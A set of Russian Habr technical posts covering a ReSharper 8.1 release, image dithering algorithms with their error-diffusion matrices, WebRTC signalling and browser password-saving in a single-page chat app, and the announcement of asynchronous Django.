Вдогонку обновлены сопутствующие товары: [ReSharper SDK](http://www.jetbrains.com/resharper/download/index.html#related) (для написания расширений к ReSharper), [dotTrace SDK](http://www.jetbrains.com/profiler/download/index.html#related) (для встраивания профиляции в произвольные приложения) и [ReSharper Command Line Tools](http://www.jetbrains.com/resharper/features/command-line.html) (для анализа .NET-кода из командной строки).
Новый ReSharper может быть вам интересен (даже в пятницу вечером) по следующим причинам:
* Если вы устали от JavaScript, но не можете без него жить, знайте: **ReSharper 8.1 поддерживает TypeScript**. Мы собирались его поддержать еще в первом, летнем релизе восьмерки, но предсказуемо испытали массу непредсказуемых проблем и в итоге включаем его в поставку сейчас. Для кода на TypeScript имеются, среди прочего, рефакторинги (Rename, Introduce Variable), навигация, IntelliSense и инспекции — например, ReSharper видит неиспользуемые параметры и неверные ссылки на CSS. [Подробнее](http://blogs.jetbrains.com/dotnet/2013/10/typescript-support-resharper-81/) о поддержке TypeScript Дима Нестерук не так давно писал в нашем англоязычном блоге.
* Если ваши отношения с JavaScript складываются удачно, хорошие новости есть и для вас: **поддержка JavaScript** также претерпела изменения. В первую очередь речь идет о структурном поиске и замене (SSR) кода на этом языке, а также о ряде улучшений в части переименования и навигации между JS-символами.
* **Интеграция ReSharper 8.1 в Visual Studio 2013** стала лучше и шире. Во-первых, мы лишний раз убедились, что на RTM-билде VS2013 полет нормальный (предыдущие релизы ReSharper 8.x тестировались с предрелизными билдами студии). Во-вторых, мы встроились в Peek Definition, сделав там доступными контекстные команды ReSharper. В-третьих, наладили отношения с новомодным Enhanced Scroll Bar, и теперь индикаторы проблем в коде и в файле в целом, которые выводит ReSharper, мирно сосуществуют с полосой прокрутки во всех её ипостасях. [Здесь](http://blogs.jetbrains.com/dotnet/2013/11/visual-studio-2013-support-resharper-81/) об этом написано подробнее.
Поддержка Visual Studio 2012, 2010, 2008 и 2005, как водится, никуда не делась. ~~Мы думаем, не убить ли в следующей версии интеграцию в 2005, но это отдельная песня.~~
* Мы **добавили инспекций C#-кода** для обнаружения бесконечных циклов `for` и возможных исключений типа `InvalidCastException` в циклах `foreach`.
* Инструменты для **просмотра зависимостей между проектами** получили первую после первоначального релиза порцию обновлений. Среди них — анализ косвенных зависимостей между проектами (возможных связей), доработанный UI (здравствуй, Undo/Redo), новые контекстные команды и улучшение производительности. Подробнее об этих изменениях можно почитать [здесь](http://blogs.jetbrains.com/dotnet/2013/10/architecture-tools-improvements-resharper-81/).
* Разработчики, имеющие дело с **XAML**, в последнее время привыкли к радостным новостям, и мы приготовили для них еще одну. В ReSharper 8.1 появились поддержка приложений для Windows 8.1, двойной IntelliSense, импорт типов при вставке кода и ряд других нововведений.
* Мы поработали над **багфиксами** (их больше 400), улучшением производительности (70 фиксов) и укрощением потребления памяти (например, при просмотре ссылок на символы в окне *Find Results* и найденных проблем в окне *Inspection Results*).
Что касается **dotCover 2.6 и dotTrace Performance 5.5.3**, эти обновления также заслуживают внимания, и вот почему:
* Они вам потребуются, если вы привыкли пользоваться dotCover и dotTrace Performance совместно с решарпером: обе новых версии **совместимы с ReSharper 8.1**.
* Они **работают в Visual Studio 2013**. Интеграция с предыдущими версиями Visual Studio также остается.
* dotCover 2.6 дополнительно оснащен **диспетчером расширений** (Extension Manager) по подобию ReSharper, и хотя dotCover не может похвастаться обширным набором расширений, поддержку xUnit и MSpec, которая предлагается в виде плагинов, обновлять будет проще.
Итак, все вышеописанное можно **загрузить** по известным адресам: [ReSharper 8.1](http://www.jetbrains.com/resharper/download/), [dotCover 2.6](http://www.jetbrains.com/dotcover/download/), [dotTrace Performance 5.5.3](http://www.jetbrains.com/profiler/download/). | https://habr.com/ru/post/205854/ | null | ru | null |
# Псевдотонирование изображений: одиннадцать алгоритмов и исходники
### Псевдотонирование: обзор
Про сегодняшнюю тему для программирования графики — псевдотонирование (дизеринг, псевдосмешение цветов) — я получаю много писем, что может показаться удивительным. Вы можете подумать, что псевдотонирование — это не то, чем программисты должны заниматься в 2012 году. Разве псевдосмешение — не артефакт история технологий, архаизм времён, когда дисплей с 16 миллионами цветов программистам и пользователям мог только сниться? Почему я пишу статью о псевдотонировании в эпоху, когда дешевые мобильные телефоны работают с великолепием 32-битной графики?
На самом деле псевдотонирование по-прежнему остаётся уникальным методом не только по практическим соображениям (например, подготовка полноцветного изображения для печати на чёрно-белом принтере), но и по художественным. Дизеринг также находит применение в веб-дизайне, где этот полезный метод используется для сокращения числа цветов изображения, что уменьшает размер файла (и трафик) без ущерба для качества. Он также используется при уменьшении цифровых фотографий в формате RAW в 48 или 64 бита на пиксель до RGB в 24 бита на пиксель для редактирования.
И это — применения лишь в области изображений. В звуке дизеринг тоже играет ключевую роль, но боюсь, обсуждать здесь дизеринг аудио я не буду. Только псевдотонирование изображений.
В этой статье я собираюсь сосредоточиться на трех пунктах:
* Основные моменты работы дизеринга изображений
* Одиннадцать конкретных двухмерных формул дизеринга, в том числе известных уровня алгоритма Флойда-Стейнберга.
* Как написать движок псевдосмешения общего назначения
### Псевдотонирование: примеры
Рассмотрим следующее полноцветное изображение, обои со знаменитым [Кубом-Компаньоном](https://theportalwiki.com/wiki/Weighted_Companion_Cube/ru) из игры [Portal](https://ru.wikipedia.org/wiki/Portal):
Эта картинка будет тестовым изображением для этой статьи. Я выбрал её, потому что у неё есть отличные сочетания мягких градиентов и жестких краев.
На современном ЖК- или светодиодном дисплее — будь то монитор компьютера, смартфон или телевизор — это полноцветное изображение можно выводить без проблем. Но представим ПК постарее с поддержкой ограниченной палитры цветов. Если мы попытаемся отобразить наше изображение на таком ПК, это может выглядеть примерно так:
Это то же изображение, что и выше, но ограниченное веб-палитрой безопасных цветов.
Довольно мерзотно, не так ли? Рассмотрим еще более яркий пример, в котором мы хотим напечатать изображение куба на чёрно-белом принтере. Тогда у нас получается что-то подобное:
Здесь изображение едва узнаваемо.
Проблемы возникают каждый раз, когда изображение отображается на устройстве, которое поддерживает меньше цветов, чем содержит изображение. Тонкие градиенты в исходном изображении могут быть заменены пятнами однородного цвета, и в зависимости от ограничений устройства, исходное изображение может стать неузнаваемым.
Псевдотонирование (или дизеринг) — это попытка решить эту проблему. Псевдотонирование работает через приближённое выражение недоступных цветов доступными, для чего доступные цвета смешиваются так, чтобы имитировать недоступные. В качестве примера здесь приведено изображение куба, вновь ухудшенное до цветов воображаемого старого ПК, только на этот раз применено псевдотонирование:
Значительно лучше, чем в версии без псевдотонирования!
Если вы внимательно посмотрите, вы увидите, что это изображение использует те же цвета, что и его копия без псевдотонирования. Но эти несколько цветов расположены так, что кажется, будто присутствует много других цветов.
В качестве другого примера: здесь чёрно-белая версия нашего изображения с похожим псевдотонированием:
Если говорить конкретно, то здесь применено псевдотонирование по двухрядном алгоритму Сьерры (2-row Sierra).
Несмотря на наличие только чёрного и белого цветов, мы всё ещё можем различить форму куба вплоть до сердец с обеих сторон. Дизеринг — чрезвычайно мощный метод, и его можно использовать в ЛЮБОЙ ситуации, когда данные должны быть представлены в более низком разрешении, чем то, для которого их создавали. В этой статье основное внимание будет уделено изображениям, но те же методы могут быть применены к любым двухмерным данным (или к одномерным данным, что еще проще!).
### Основная концепция псевдотонирования
Если коротко, псевдотонирование в корне связано с *рассеиванием ошибок*.
Рассеивание ошибок работает следующим образом: предположим, что нам нужно свести фотографию в градациях серого до чёрных и белых цветов, чтобы мы могли напечатать её на принтере, который поддерживает только чистый черный (чернила) или чистый белый (бумага без чернил) цвет. Первый пиксель на изображении — тёмно-серый, со значением 96 по шкале от 0 до 255, где 0 — чистый чёрный цвет, 255 — чистый белый.
Визуализация значений RGB в нашем примере.
При преобразовании такого пикселя в черный или белый мы используем простую формулу: значение цвета ближе к 0 (черному) или 255 (белому)? 96 ближе к 0, чем к 255, поэтому мы делаем пиксель черным.
На этом этапе стандартный подход — просто перемещаться к следующему пикселю и выполнять то же сравнение. Но проблема возникает, если у нас есть куча подобных серых пикселей со значением 96 — все они превращаются в чёрные. У нас получается с огромный кусок пустых черных пикселей, которые плохо представляют оригинальный серый цвет.
Рассеивание ошибок следует более умному подходу к проблеме. Как вы могли предположить, рассеивание ошибок работает путем «рассеивания» — или распространения — ошибки каждого вычисления в соседние пиксели. Если алгоритм находит серый пиксель со значением 96, он также определяет, что 96 ближе к 0, чем к 255 — и поэтому делает пиксель черным. Но тогда алгоритм учитывает «ошибку» в его преобразовании. В частности, ошибку в том, что серый пиксель, который мы заставили быть черным, на самом деле был на расстоянии в 96 шагов от черного.
Когда он перемещается к следующему пикселю, алгоритм рассеивания ошибок добавляет ошибку предыдущего пикселя к текущему пикселю. Если следующий пиксель также имеет серый цвет 96, вместо того, чтобы сделать его черным, алгоритм добавляет ошибку 96 из предыдущего пикселя. Это приводит к значению 192, которое на самом деле ближе к 255 — и, следовательно, ближе к белому! Таким образом, алгоритм делает этот пиксель белым и снова учитывает ошибку. В этом случае ошибка составляет −63, потому что 192 на 63 меньше, чем 255 — то значение, на которое этот пиксель поменяли.
По мере того, как алгоритм продолжает работу, рассеивание ошибок приводит к чередованию черных и белых пикселей, что довольно хорошо имитирует серый цвет значения 96 этого сегмента. Это куда лучше, чем окрашивать все пиксели подряд чёрным. Как правило, когда мы заканчиваем обработку строки изображения, мы отбрасываем значение ошибки, которое мы отслеживали, и начинаем заново с ошибкой «0» со следующей строки изображения.
Ниже приведен пример изображения нашего куба с применением описанного алгоритма. В частности, каждый пиксель преобразуется в черный или белый, ошибка преобразования отмечается и передается следующему пикселю справа:
Это самое простое применение псевдотонирования с рассеиванием ошибок.
К сожалению, псевдотонирование с рассеиванием ошибок имеет свои собственные проблемы. Как бы то ни было, псевдотонирование всегда приводит к заметным точкам или к пунктирному виду. Это неизбежный побочный эффект работы с небольшим количеством доступных цветов — из-за их количества эти цвета будут повторяться снова и снова.
В приведенном выше простом примере алгоритма рассеивания ошибок очевидна другая проблема — если у вас есть блок очень похожих цветов, и вы толкаете ошибку только вправо, все «точки» оказываются в одном и том же месте! Это приводит к забавным линиям точек, которые почти так же отвлекают, как и оригинальная версия без псевдотонирования.
Проблема в том, что мы используем только одномерное рассеивание ошибок. Распространив ошибку только в одном направлении (вправо), мы не очень хорошо её распределяем. Поскольку у изображения измерения два (горизонтальное и вертикальное), почему бы не направить ошибку в нескольких направлениях? Это распределит ошибку более равномерно, что, в свою очередь, позволит избежать странных линий точек, рассмотренных в примере рассеивания ошибок выше.
### Псевдотонирование с двухмерным рассеиванием ошибок
Существует много способов рассеивания ошибки в двух измерениях. Например, мы можем распространить ошибку на один или несколько пикселей вправо, влево, вверх и вниз.
Для простоты расчетов все стандартные формулы дизеринга продвигают ошибку только вперед. Если обойти изображение попиксельно, начиная с верхнего левого угла и двигаясь вправо, учитывать ошибки назад (например, влево и/или вверх) необходимости не будет. Причина этого очевидна — если закидывать ошибку назад, придётся вернуться к пикселям, которые уже обработаны, что приводит к большему количеству ошибок при движении назад. В итоге получится бесконечный цикл распространения ошибок.
Таким образом, для стандартного поведения цикла (начиная с верхнего левого угла изображения и двигаясь вправо) мы хотим, чтобы движение пикселей шло только вправо и вниз.
Извиняюсь за паршивое изображение — но я надеюсь, что это поможет проиллюстрировать суть правильного распространения ошибок.
Что же касается конкретных способов распространения ошибки, над этой задачей билось много людей умнее меня. Позвольте мне поделиться этими формулами с вами.
(Примечание: эти формулы дизеринга доступны на нескольких сайтах в Интернете, но наиболее полный справочник из всего, что я нашел — [этот](http://www.efg2.com/Lab/Library/ImageProcessing/DHALF.TXT).)
### Алгоритм рассеивания ошибок Флойда-Стейнберга
Первая и возможно самая известная формула рассеивания ошибок была опубликована Робертом Флойдом и Луисом Стейнбергом в 1976 году. Рассеивание ошибок происходит по следующей схеме:
```
X 7
3 5 1
(1/16)
```
В приведенных выше обозначениях X означает текущий пиксель. Дробь в нижней части представляет собой делитель для ошибки. Иначе говоря, формула Флойда-Стейнберга может быть записана в виде:
```
X 7/16
3/16 5/16 1/16
```
Но такое обозначение длинное и неаккуратное, поэтому я буду придерживаться оригинала.
Вернёмся к нашему оригинальному примеру преобразования пиксельного значения от 96 к 0 (чёрный) или к 255 (белый). При окрашивании пикселя в чёрный мы получаем ошибку 96. Мы распространяем эту ошибку окружающим пикселям, поделив 96 на 16 ( = 6), затем умножаем её на соответствующие значения, например:
```
X +42
+18 +30 +6
```
Путем распространения ошибки нескольким пикселям, каждому с различным значением, мы сводим к минимуму все отвлекающие полосы с точками, заметные в исходном примере алгоритма рассеивания ошибок. Вот изображение куба с применением алгоритма Флойда-Стейнберга:
Алгоритм рассеивания ошибок Флойда-Стейнберга
Неплохо, а?
Алгоритм рассеивания ошибок Флойда-Стейнберга — вероятно, наиболее известный алгоритм рассеивания ошибок. Он даёт достаточно хорошее качество, а также требует только один передний массив (одномерный массив шириной в изображение, где хранятся значения ошибок, распространяемые к следующей строке). Кроме того, поскольку его делитель 16, вместо деления можно использовать битовые сдвиги. Так алгоритм достигает высокой скорости работы даже на старом оборудовании.
Что касается значений 1/3/5/7, используемых для распространения ошибки – они были выбраны специально, потому что они создают равномерный клетчатый узор для серого изображения. Умно!
Одно предупреждение по поводу алгоритма Флойда-Стейнберга — некоторые программы могут использовать и другие, более простые формулы псевдотонирования и называть их «Флойд-Стейнберг», надеясь, что люди не знают разницы. [Вот отличная статья о дизеринге](http://www.efg2.com/Lab/Library/ImageProcessing/DHALF.TXT), которая описывает один из таких «ложных алгоритмов Флойда-Стейнберга»:
```
X 3
3 2
(1/8)
```
Этот упрощение оригинального алгоритма Флойда-Стейнберга даёт не только заметно худший результат, но и делает это без каких-либо значимых преимуществ с точки зрения скорости (или памяти, так как массив для хранения значений ошибки для следующей строки всё ещё требуется).
Но если вам интересно, вот изображение куба после прохода «ложного Флойда-Стейнберга»:
Гораздо больше скоплений точек, чем в настоящем алгоритме Флойда-Стейнберга — так что не используйте эту формулу!
### Алгоритм Джарвиса, Джудиса и Нинке (Jarvis, Judice, Ninke)
В год, когда Флойд и Стейнберг опубликовали свой знаменитый алгоритм дизеринга, был издан менее известный, но гораздо более мощный алгоритм. Фильтр Джарвиса, Джудиса и Нинке значительно сложнее, чем Флойда-Стейнберга:
```
X 7 5
3 5 7 5 3
1 3 5 3 1
(1/48)
```
При таком алгоритме ошибка распределяется на в три раза больше пикселей, чем у Флойда-Стейнберга, что приводит к более гладкому и более тонкому результату. К сожалению, делитель 48 не является степенью двойки, поэтому битовые сдвиги применить не удастся. Используются только значения 1/48, 3/48, 5/48, и 7/48, так что эти значения могут быть вычислены единожды, а затем размножены несколько раз для небольшого увеличения по скорости.
Другим недостатком фильтра JJN является то, что он толкает ошибку вниз не на одну строку, а на две. Это означает, что нам нужны два массива — один для следующей строки, второй для строки после неё. Это было проблемой в то время, когда алгоритм был впервые опубликован, но на современных ПК и смартфонах это дополнительное требование не имеет никакого значения. Честно говоря, может быть лучше использовать единый массив ошибки размером с изображение, а не стирать две однорядные решетки снова и снова.
Псевдотонирование Джарвиса, Джудиса и Нинке
### Дизеринг Штуки (Stucki)
Через пять лет после публикации формулы дизеринга Джарвиса, Джудиса и Нинке Питер Штуки опубликовал скорректированную версию с небольшими изменениями для улучшения времени обработки:
```
X 8 4
2 4 8 4 2
1 2 4 2 1
(1/42)
```
Степенью двойки делитель 42 не является, а вот значения рассеивания ошибки — да. Поэтому ошибка делится на 42, сдвиги по битам могут быть использованы для получения конкретных значений для рассеивания.
Для большинства изображений разница между алгоритмами Штуки и JJN будет минимальна. Поэтому первый чаще используется из-за его небольшого преимущества в скорости.
Псевдотонирование Штуки
### Дизеринг Аткинсона
В середине 1980-х годов псевдотонирование становится все более популярным, поскольку аппаратное обеспечение компьютеров доросло до поддержки более мощных драйверов видеоадаптера и дисплея. Один из лучших алгоритмов дизеринга той эпохи разработал Билл Аткинсон, сотрудник компании Apple, который работал над всем: от MacPaint (который он писал с нуля для оригинального Macintosh) до HyperCard и QuickDraw.
Формула Аткинсона немного отличается от других в этом списке, потому что она распространяет только часть ошибки, не всю целиком. В современных графичесих приложениях этот метод встречается под именем «уменьшить выцветание». Рассеивание только части ошибок помогает уменьшить зернистость, но непрерывные светлые и темные участки изображения могут потерять цвет.
```
X 1 1
1 1 1
1
(1/8)
```
Псевдотонирование Аткинсона
### Псевдотонирование Бёркеса (Burkes)
Через семь лет после того, как Штуки опубликовал улучшения алгоритма Джарвиса, Джудиса и Нинке, Дэниэл Бёркес предложил дальнейшее развитие:
```
X 8 4
2 4 8 4 2
(1/32)
```
Предложение Бёркеса заключалось в том, чтобы в алгоритме Штуки опустить нижний ряд матрицы. Это не только устранило необходимость в двух массивах, но и в результате привело к делителю, вновь кратному 2. Это изменение означало, что вся математика, участвующая в вычислении ошибки, могла быть выполнена простым битовым сдвигом, причем с незначительной потерей качества.
Псевдотонирование Бёркеса
### Псевдотонирование Сьерры (Sierra)
Последние три алгоритма дизеринга были созданы Фрэнком Сьеррой, который опубликовал следующие матрицы в 1989 и 1990 годах:
```
X 5 3
2 4 5 4 2
2 3 2
(1/32)
```
```
X 4 3
1 2 3 2 1
(1/16)
```
```
X 2
1 1
(1/4)
```
Эти три фильтра обычно называются Sierra, Two-Row Sierra (двухрядный алгоритм Сьерры) и Sierra Lite. Их конечное изображение на тестовой картинке куба выглядит следующим образом:
Sierra (иногда называют Sierra-3)
Two-row Sierra (двухрядный алгоритм Сьерры)
Sierra Lite
### Остальные соображения по псевдотонированию
Если вы сравните изображения выше с результатами псевдотонирования другой программы, вы можете обнаружить небольшие различия. Подобное ожидаемо. Есть на удивление много переменных, которые могут повлиять на точность вывода алгоритма псевдотонирования. В их числе:
* Отслеживание ошибок числами с плавающей запятой или целыми числами. Целочисленные методы теряют некоторое разрешение из-за ошибок квантования.
* Уменьшение обесцвечивания. Некоторое программное обеспечение уменьшает погрешность по заданному значению (возможно, 50% или 75%), чтобы уменьшить объём обесцвечивания соседних пикселей.
* Порог отсечения для чёрного или белого. Значения 127 или 128 являются общепринятыми, но на некоторых изображениях может быть полезно использовать другие значения.
* Для цветных изображений играет важную роль то, как рассчитывается яркость. Я использую формулу яркости HSL ( [max(R,G,B) + min(R,G,B)] / 2). Другие используют ([r+g+b] / 3) или одну из [формул ITU](http://www.tannerhelland.com/3643/grayscale-image-algorithm-vb6/). YUV или CIELAB позволят достичь результатов ещё лучше.
* Гамма-коррекция или другие предварительные модификации. Часто полезно нормализовать изображение перед его преобразованием в чёрно-белое. Выбор метода для этого очевидным образом повлияет на результат.
* Направление цикла. Я обсуждал стандартный подход «слева направо, сверху вниз», но некоторые умные алгоритмы дизеринга будут следовать змееподобному пути, где направленность слева направо меняется на противоположную. Так можно уменьшить пятна однородных точек и дать более разнообразный внешний вид, но их сложнее реализовать.
Для демонстрационных изображений в этой статье я не выполнял предварительную обработку исходного изображения. Все цветовые соответствия выполняются в пространстве RGB с отсечкой 127 (значения <= 127 установлены на 0). Направление цикла — стандартные слева направо сверху вниз.
Какие конкретные методы вы можете использовать, зависит от вашего языка программирования, ограничений обработки и желаемого результата.
### Я насчитал 9 алгоритмов, но вы обещали 11! Где еще два?
До сих пор я сосредоточился исключительно на псевдотонировании на рассеивании ошибок, поскольку этот метод предлагает результаты лучше, чем статические недиффузионные алгоритмы.
Но для полноты картины вот два стандартных метода псевдотонирования с упорядоченным размытием. Псевдотонирование с упорядоченным размытием приводит к куда большему количеству точек (и худшим результатам), чем псевдотонирование с рассеиванием ошибок, но оно не требует массивов следующих строк и работает очень быстро. Для получения дополнительной информации о псевдотонировании с упорядоченным размытием посмотрите [соответствующую статью в «Википедии»](http://en.wikipedia.org/wiki/Ordered_dithering).
Псевдотонирование с упорядоченным размытием с матрицей 4×4
Псевдотонирование с упорядоченным размытием с матрицей 8×8
С учетом этих методов статья описывает 11 различных алгоритмов псевдотонирования.
### Написание собственного алгоритма псевдотонирования общего назначения
Ранее в этом году я написал полностью функциональный генератор псевдотонирования общего назначения для [PhotoDemon](http://www.tannerhelland.com/photodemon/) (фоторедактор с открытым исходным кодом). Вместо того чтобы размещать здесь весь код, позвольте мне направить вас на [соответствующую страницу на GitHub](https://github.com/tannerhelland/PhotoDemon/blob/master/Forms/Adjustments_BlackAndWhite.frm). Движок преобразования черно-белых изображений начинается на строке 350. Если у вас есть вопросы по коду, который охватывает алгоритмы, описанные на этой странице, пожалуйста, [сообщите мне](http://www.tannerhelland.com/contact/), и я опубликую дополнительные пояснения.
Этот движок работает, позволяя вам заранее указать любую матрицу псевдотонирования точно так же, как в этой статье. Затем вы передаете эту матрицу в движок псевдотонирования, и он делает всё остальное.
Движок спроектирован на основе монохромного преобразования, но его можно легко модифицировать для работы с цветовыми палитрами. Самое большое отличие ситуации с цветовыми палитрами — то, что вы должны отслеживать отдельные ошибки для красного, зелёного и синего цветов, а не для одной ошибки яркости. В остальном вся математика та же. | https://habr.com/ru/post/326936/ | null | ru | null |
# Два аспекта «децентрализованных» одностраничных приложений
В статье мы попытаемся описать два совершенно не связанных с собой аспекта децентрализованных одностраничных приложений. Это соединение двух пользователей и сохранение паролей в одностраничном приложении при помощи браузера.
Информация об используемой технологии WebRTC — [webrtc.org](https://webrtc.org/). В браузере весь смысл общения завязан на этой технологии, а точнее на [WebRTC API](https://developer.mozilla.org/ru/docs/Web/API/WebRTC_API) которое доступно для Front-end разработчика.
Одной из целей было создать децентрализованный чат, чат без использования сервера. Однако, сервер оказался просто необходим для реализации следующих возможностей:
* Генерация уникальных id для идентификации подключенных устройств (девайсов)
* Обмен SDP (session description protocol) для инициализации соединения Клиент — Клиент; для сигнализации клиентам использовался websocket протокол
### Создание соединения
Рассмотрим детально схему соединения для двух пользователей. Для этого выделим основные шаги в обычной схеме соединения Клиента А и Клиента Б:
1. Клиент А является инициатором соединения и генерирует предложение (Offer), т.е sdp-предложение, которое содержит все доступные кодеки, на которых может общаться клиент и другую информацию. Клиент А **отправляет** свое sdp-предложение Клиенту Б.
2. Клиент Б принимает sdp-предложение и генерирует ответ (Answer), т.е sdp-ответ. На данном этапе Клиент Б генерирует у себя все доступные кодеки и выбирает те, которые доступны обоим клиентам, добавляет свою информацию и **отправляет** его Клиенту А.
3. Клиент А **получает** sdp-ответ от Клиента Б. Далее Клиент А уже напрямую связывается с Клиентом Б на основе полученного ответа и информации в нём. После этого между ними образовался [RTCDataChannel](https://developer.mozilla.org/ru/docs/Web/API/RTCDataChannel) — канал обмена данными.
Выделенные слова в трех случаях как раз показывают зачем нужен сервер на начальном этапе соединения. Для обмена данными через сервер.
В нашем чате оба клиента одновременно могут выступать инициаторами соединения, но в результате мы все равно хотим получить лишь одно соединение RTCDataChannel между двумя клиентами. Сигнальный сервер конечно может указать какому клиенту выступать инициатором — а какому ждать предложение. Но для минимизации ошибки при соединении мы запускаем механизм в котором каждый из клиентов является инициирующем и принимающем одновременно. В результате оставляем то соединение клиент-клиент, которое образуется быстрее. Рассмотрим более детально этот аспект.
Ниже представлена схема соединения двух инициирующих/принимающих клиентов.
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fi.piccy.info%2Fi9%2Fcdff71e2bafb8b7af39fe428cbadc727%2F1480163098%2F64320%2F1093614%2FUML.png%22)
1. Одновременно оба клиента получают оповещение по вебсокет-соединению о том, что они в одном чате. Клиент А и Клиент Б инициируют соединение — каждый генерирует своё sdp-предложение и отсылает его на сервер.
2. Сервер в свою очередь отправляет полученные предложения адресатам (предложение от Клиента А отправляет Клиенту Б, предложение от Клиента Б отправляет Клиенту А).
3. Каждый клиент после получения sdp-предложения генерирует sdp-ответ на него. Оба клиента посылают свои sdp-ответы на сервер.
4. Сервер в свою очередь отправляет полученные sdp-ответы их адресатам (ответ от Клиента А отправляет Клиенту Б, ответ от Клиента Б отправляет Клиенту А).
5. Каждый клиент получает sdp-ответ и принимает его. Важное условие что у каждого клиента есть логика, что с каждым другим клиентом не может быть более одного соединения. Соответственно, если у Клиента Б есть открытый RTCDataChannel с Клиентом А, то он не создает новый RTCDataChannel с ним, можно сказать, все остальное просто игнорируется. Таким образом то соединение, которое создастся быстрее и выиграет.
Таким образом при инициировании соединения двумя клиентами, между ними будет всего один RTCDataChannel, а не два.
### Регистрация пользователя и Browser History
При работы с приложением каждый пользователь проходит следующие этапы:
1. Регистрация — для каждого нового пользователя.
2. Авторизация — для каждого ранее зарегистрированного пользователя.
3. Непосредственно работа с чатом.
Для этого в приложении были предусмотрены три страницы, каждая из которых предназначена для соответствующего этапа (структура сайта):
* /register — страница регистрации
* /login — страница логина
* /chat — страница чата
Но страницы генерируются на клиенте, а для перехода между ними используется [HistoryAPI](https://developer.mozilla.org/ru/docs/Web/API/History_API). Важным моментом для удобства использования приложения, является сохранение авторизационных данных пользователя в браузере (пароля), используя при этом поведение браузера по умолчанию.
В нашем случае, введенные данные пользователя должны предлагаться к сохранению для формы логина при смене url с "/login" на "/chat", а при смене "/login" на "/register" не должны предлагаться. На практике это оказалось невозможно реализовать. Сохранение предлагалось и при переходе с "/login" на "/register" и с "/register" на "/login". Таким образом задача заключалась в отмене сохранения данных в браузере для определенных случаев.
Для решения данного вопроса были использованы различные методы, которые представлены ниже.
### Автозаполнение для формы
Чтобы отключить автозаполнение на странице регистрации, устанавливаем для всей формы атрибут 'autocomplete' со значением 'off'.
Разметка для данного варианта:
```
Имя пользователя:
Пароль пользователя:
Войти
```
Ссылка на данный вариант решения [stackoverflow.com/a/468295](http://stackoverflow.com/questions/468288/input-type-password-dont-let-browser-remember-the-password/468295#468295).
### Автозаполнение для конкретных полей
Пробовали отключить автозаполнение на странице регистрации установив атрибут 'autocomplete' со значением 'off' для полей input, то есть имени и пароля пользователя.
Разметка для данного варианта:
```
Имя пользователя:
Пароль пользователя:
Войти
```
В предыдущей ссылке обсуждается и этот вариант.
### Скрытие полей
Данный вариант предполагает добавление в разметку скрытого элемента div, который включает в себя поля имени и пароля пользователя, которые всегда будут оставаться пустыми. Разметка для данного варианта:
```
Имя пользователя:
Пароль пользователя:
Войти
```
Ссылка на данный вариант решения [stackoverflow.com/a/25111774](http://stackoverflow.com/questions/32369/disable-browser-save-password-functionality/25111774#25111774). Аналогичное решение предложено и в [данном](http://www.zigpress.com/2014/11/22/stop-chrome-messing-forms/) источнике.
### Обнуление полей при submit
В данном варианте прибегаем к помощи js. При клике пользователя на кнопку «Войти» по событию submit выполняем обнуление полей имени и пароля.
Программный код:
```
handleSubmit: function(event) {
this.loginForm = document.querySelector('[data-role="loginForm"]');
event.preventDefault();
this.loginForm.elements.userName.value = '';
this.loginForm.elements.userPassword.value = '';
}
```
Обнуление данных выполнялось как сразу после клика, так и через некоторый интервал времени ( SetTimeout() ).
### Программный переход через HistoryAPI
Последний из вариантов заключается в создании новой кнопки в форме, которая бы выполняла роль кнопки submit.
Разметка данного варианта:
```
Имя пользователя:
Пароль пользователя:
Войти
```
Программный код:
```
handleClick(event) {
if (event.target.dataset.action === 'submit'){
history.pushState({foo: 'bar'}, 'Title', '/chat')
}
}
```
Все вышеприведенные способы не позволяли при одном переходе сохранять пароль, а при другом не сохранять. Можно было либо сохранять всегда, либо не сохранять никогда.
Отсюда конечно о наболевшем, что давно пора для одностраничных приложений сделать JS API для браузера о сохранении пароля:
```
window.navigator.promtPasswordSave()
```
Что-то вроде этого было бы замечательно.
В настоящее время в качестве решения рассматриваемого вопроса в приложении была изменена структура сайта на следующую:
* /account — страница регистрации и логина
* /chat — страница чата
Где страница /account имеет два внутренних состояния login и register, в зависимости от этого состояния мы и генерируем ту или иную разметку. Только так мы смогли решить проблему с контролируемым сохранением пароля в браузере.
SPACHAT (Single Page Application Chat) — веб приложение для обмена сообщениями между клиентами с помощью технологии WebRTC, которое мы и реализовываем. Реализованное приложение или просто чат можно посмотреть на сайте [spachat.net](https://spachat.net).
Непосредственно сам код доступны по ссылке [github.com/volodalexey/spachat](https://github.com/volodalexey/spachat). | https://habr.com/ru/post/316556/ | null | ru | null |
# Django 3.0 будет асинхронным
*Andrew Godwin опубликовал [DEP 0009: Async-capable Django](https://github.com/django/deps/blob/a7080e6f830815829fcee2f2b061f59bdeed489d/accepted/0009-async.rst) 9 мая, а 21 июля он был принят [техническим советом](https://docs.djangoproject.com/en/dev/internals/organization/#technical-board) Django, так что можно надеяться, что к выходу Django 3.0 успеют сделать что-нибудь интересное. Он уже упоминался [где-то в комментариях Хабра](https://habr.com/en/post/454440/#comment_20257284), но я решил донести эту новость до более широкой аудитории путём его перевода — в первую очередь для тех, кто, как и я, не особо следит за новостями Django.*
> I'm pleased to announce that the Django Technical Board has approved DEP 0009 (Async in Django)! <https://t.co/yaaR0Mjg61>
>
> — Andrew Godwin (@andrewgodwin) [July 21, 2019](https://twitter.com/andrewgodwin/status/1153030952915890177?ref_src=twsrc%5Etfw)
Асинхронный Python разрабатывался много лет, и в экосистеме Django мы экспериментировали с ним в [Channels](https://channels.readthedocs.io/en/stable/) с ориентацией в первую очередь на поддержку вебсокетов.
По мере развития экосистемы стало очевидно, что, хотя нет насущной необходимости расширять Django для поддержки отличных от HTTP протоколов, таких как вебсокеты, поддержка асинхронности даст много преимуществ для традиционной model-view-template структуры Django.
Преимущества описаны в разделе «Мотивация» ниже, но общий вывод, к которому я пришёл, заключается в том, что мы получим так много от асинхронного Django, что это стоит того большого труда, который потребуется. Я также считаю, что очень важно делать изменения итеративным, поддерживаемым сообществом путём, который не будет зависеть от одного-двух старых контрибьюторов, которые могут выгореть.
Хотя документ обозначен как «Feature» DEP, всё это означает, что он также частично является Process DEP. Масштаб предлагаемых ниже изменений невероятно велик, и запуск их как традиционного single-feature процесса скорее всего провалится.
Конечно, на протяжении всего этого документа важно помнить философию Django, которая заключается в том, чтобы всё оставалось безопасным и обратно совместимым. План состоит не в том, чтобы убрать синхронный Django — план состоит в том, чтобы сохранить его в текущем виде, но добавить асинхронность в качестве опции для тех, кто считает, что им нужна дополнительная производительность или гибкость.
